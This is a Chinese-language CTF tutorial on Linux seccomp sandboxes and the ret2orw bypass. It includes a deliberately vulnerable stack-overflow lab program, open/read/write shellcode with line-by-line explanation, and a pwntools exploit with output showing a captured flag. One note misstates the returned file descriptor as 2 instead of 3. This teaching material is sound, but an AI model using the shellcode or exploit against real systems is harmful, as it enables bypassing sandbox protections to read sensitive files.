%%本节前置Stack-1 Stack-2%%
在上一小节,我们了解了地址随机化的保护措施PIE & ASLR,并且学习了对地址随机化的两种绕过手法:泄漏Leak,和栈上地址部分覆写Partial Overwrite。本小节我们将从系统调用保护的角度介绍一种常见的保护手法:沙箱Sandbox 以及沙箱的基本绕过手法:Return to orw shellcode 即ret2orw
🛡️ Defence
📦 Sandbox
沙盒(英语:sandbox,又译为沙箱)是一种安全机制,为执行中的程序提供隔离环境。通常是作为一些来源不可信、具破坏力或无法判定程序意图的程序提供实验之用。沙盒通常严格控制其中的程序所能访问的资源,比如,沙盒可以提供用后即回收的磁盘及内存空间。在沙盒中,网络访问、对真实系统的访问、对输入设备的读取通常被禁止或是严格限制。从这个角度来说,沙盒属于虚拟化的一种。沙盒中的所有改动对操作系统不会造成任何损失。通常,这种技术被计算机技术人员广泛用于测试可能带毒的程序或是其他的恶意代码。现在的集成式防火墙常含有云端沙盒,当本地静态分析无法办别时,就会去云端比对hash值,查看是否有相关情资,若为未发现过的可疑程序,则送入沙盒测试,并记录其行为模式。
沙盒Sandbox一般有软件监狱Jail,虚拟机Virtual Machine等实现方法。本质上都是隔离和预防攻击者对程序执行流的恶意利用。在Linux用户态的Pwn利用中,一般采用安全计算机制Secure Computing,简称Seccomp,这是Linux Kernel在2.6.33版本引入的一种简洁优雅的沙箱机制。在编写C语言程序的过程中,可以使用prctl
来这一内核级的安全机制,即prctl-seccomp。
prctl-seccomp可以将进程进入到一种安全的运行模式,将部分的系统调用syscall禁用,或者只允许部分的系统调用,这样就可以从内核级别限制syscall的滥用。通过这种方式我们可以防范一些简单的直接getshell的方式。
在严格模式下,进程所允许的系统调用就只有read
,write
,exit
和sigreturn
。
系统调用规则我们可以通过seccomp-tools
查看
seccomp-tools dump ./filename
示例程序的沙盒
void sandbox(){
struct sock_filter filter[] = {
BPF_STMT(BPF_LD+BPF_W+BPF_ABS,4),
BPF_JUMP(BPF_JMP+BPF_JEQ,0xc000003e,0,2),
BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0),
BPF_JUMP(BPF_JMP+BPF_JEQ,59,0,1),
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL),
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW),
};
struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
.filter = filter,
};
prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0);
prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);
};
用工具查一下
❯ seccomp-tools dump ./Lab
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x02 0xc000003e if (A != ARCH_X86_64) goto 0004
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0005
0004: 0x06 0x00 0x00 0x00000000 return KILL
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
可读性还是很强的,从上往下读,简单解释一下:
arch != ARCH_X86_64 goto 0004
:如果架构不是amd64,跳转到0004SIGKILL
杀死进程sys_number != execve goto 0005
:如果系统调用号不是0x3B execve
,跳转到0005ALLOW
继续执行- 其余的直接KILL
那么实际上禁用了execve
的系统调用,那么我们就不能去Getshell了,因为system
的底层也是execve
,就会直接被KILL掉。
🗡️ Bypass
Sandbox防御机制在CTFPwn中主要用于限制ret2shellcode,ret2syscall的利用。在开启了Sandbox保护后,就无法通过Hijack去getshell。那么该怎么做呢?我们打CTF本质是Catch the flag,那么我们直接把Flag读出来当然是可行的!
我们把这种利用手法叫作Open Read and Write,简称ORW,即使用open
打开flag文件,使用read
读入到程序缓冲区,使用write
将flag显示在屏幕上。在shellcode的利用中,orw shellcode是最常用的一种code方式。
🧑💻 Code2ORW
在Stack-2-2-2中我们介绍过Code2Shell,主要目的是在程序中植入恶意代码去getshell,而我们code2orw的目的自然就是把Flag给读出来。主要利用到open
,read
,write
系统调用。
我们需要执行三个函数
fd = open("./flag", 0);
read(fd, buf, 0x20);
write(1, buf, 0x20);
我们知道在Linux系统中一切皆可以看成是文件,文件又可分为:普通文件、目录文件、链接文件和设备文件。在操作这些所谓的文件的时候,我们每操作一次就找一次名字,这会耗费大量的时间和效率。所以Linux中规定每一个文件对应一个索引,这样要操作文件的时候,我们直接找到索引就可以对其进行操作了。
文件描述符(file descriptor)就是内核为了高效管理这些已经被打开的文件所创建的索引,其是一个非负整数(通常是小整数),用于指代被打开的文件,所有执行I/O操作的系统调用都通过文件描述符来实现。同时还规定系统刚刚启动的时候,0是标准输入,1是标准输出,2是标准错误。这意味着如果此时去打开一个新的文件,它的文件描述符会是3,再打开一个文件文件描述符就是4……
Linux内核对所有打开的文件有一个文件描述符表格,里面存储了每个文件描述符作为索引与一个打开文件相对应的关系,简单理解就是下图这样一个数组,文件描述符(索引)就是文件描述符表这个数组的下标,数组的内容就是指向一个个打开的文件的指针。
也就是说,我们整个orwcode需要进行三次syscall
Step.1 open
rax = 2
rdi => ./flag
rsi = 0
syscall
Step.2 read
rax = 0
rdi = fd
rsi = buf
rdx = nbytes
Step.3 write
rax = 1
rdi = 1
rsi = buf
rdx = nbytes
那么我们可以写出以下的orwcode
mov edx, 0x67616c66;
push rdx;
mov rdi, rsp;
xor esi, esi;
mov eax, 2;
syscall; #open return fd in rax
mov edi, eax;
mov rsi, rsp;
xor eax, eax;
syscall;
xor edi, 2; #3 xor 2 = 1
mov eax,edi;
syscall;
mov edx, 0x67616c66;
:将flag
字符串放入edx
push rdx;
:将rdx
中的内容压入栈中mov rdi, rsp;
:将rsp
中的指针放入rdi
中xor esi, esi;
:置零esi
mov eax, 2;syscall;
:设置eax
为2,系统调用open("flag", 0)
⚠️ 此时open返回文件描述符,如果是第一次打开外部文件的话fd = 2
mov edi, eax;
:设置edi
为fdxor eax, eax;
:置零eax
,设置系统调用号mov rsi, rsp;
:设置rsi
为rsp
栈顶syscall;
:系统调用read(3, rsp, 0x67616c66)
xor edi, 2;
:3 xor 2 = 1
,设置edi
为1mov eax, edi;syscall;
:设置eax
为1,系统调用write(1, rsp, nbytes)
🎉一个简单的orwcode就编写好了!🎉
🔙 Ret2ORW
我们由一道实验来讲解ret2orw的基本运用。
#include <linux/filter.h>
#include <sys/prctl.h>
#include <linux/seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
}
void sandbox(){
struct sock_filter filter[] = {
BPF_STMT(BPF_LD+BPF_W+BPF_ABS,4),
BPF_JUMP(BPF_JMP+BPF_JEQ,0xc000003e,0,2),
BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0),
BPF_JUMP(BPF_JMP+BPF_JEQ,59,0,1),
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL),
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW),
};
struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
.filter = filter,
};
prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0);
prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);
};
void vuln() {
char buf[0x10];
printf("%p\n", buf);
read(0, buf, 0x100);
}
int main() {
init();
sandbox();
vuln();
return 0;
}
用以下命令编译
gcc -fno-stack-protector -O0 -z execstack Lab-s-3-2-1.c -o Lab
这个实验的沙箱就是我们刚刚看的那个,所以这里直接看程序。
和Stack-2-2-2
的程序差不多,只不过加入了沙箱,我们同样是向栈上写入shellcode,这里由于禁用了execve
,所以不能直接getshell。我们可以直接将我们刚刚的orwcode拿过来用
shellcode = asm(
'''
mov edx, 0x67616c66;
push rdx;
mov rdi, rsp;
xor esi, esi;
mov eax, 2;
syscall; #open return fd in rax
mov edi, eax;
mov rsi, rsp;
xor eax, eax;
syscall;
xor edi, 2; #3 xor 2 = 1
mov eax,edi;
syscall;
'''
)
也可以使用pwntools
的shellcraft
模块
shellcode = shellcraft.cat("./flag")
本质上和我们写的orw是差不多的,我们可以看看它生成的orwcode的内容
⚠️ 指定context环境变量避免出现一些奇奇怪怪的错误
/* push b'./flag\x00' */
mov rax, 0x101010101010101
push rax
mov rax, 0x101010101010101 ^ 0x67616c662f2e
xor [rsp], rax
/* call open('rsp', 'O_RDONLY', 'rdx') */
push SYS_open /* 2 */
pop rax
mov rdi, rsp
xor esi, esi /* O_RDONLY */
syscall
/* call sendfile(1, 'rax', 0, 0x7fffffff) */
mov r10d, 0x7fffffff
mov rsi, rax
push SYS_sendfile /* 0x28 */
pop rax
push 1
pop rdi
cdq /* rdx=0 */
syscall
所以EXP如下
from pwn import *
io = process("./Lab")
context(arch="amd64", os="linux")
leakstack = eval(io.recvline().decode().strip())
log.info(f"leakstack: {hex(leakstack)}")
shellcode = asm(shellcraft.cat("./flag"))
payload = cyclic(0x18) + p64(leakstack + 0x20) + shellcode
io.sendline(payload)
io.interactive()
RESULT
❯ python exp.py
[+] Starting local process './Lab': pid 21322
[*] leakstack: 0x7ffdd2eb00b0
[*] Switching to interactive mode
flag{c4n_y0u_g3t_th3_st4ck_m4gic}
💬 Summarize
本节我们学习了解了prctl-seccomp
的基本信息,和沙箱在pwn题中的运用。了解了ret2orw的基本用法。当然,此处展示的orw还只是最基础的内容,随着学习的深入,我们会了解到更多shellcode的进阶技术。
❔ Challenge
惯例,我们留下一道题作为本次的作业。
Code2Flag
Just 2 Bytes?!Are u kidding me?Let’s Code 2 flag!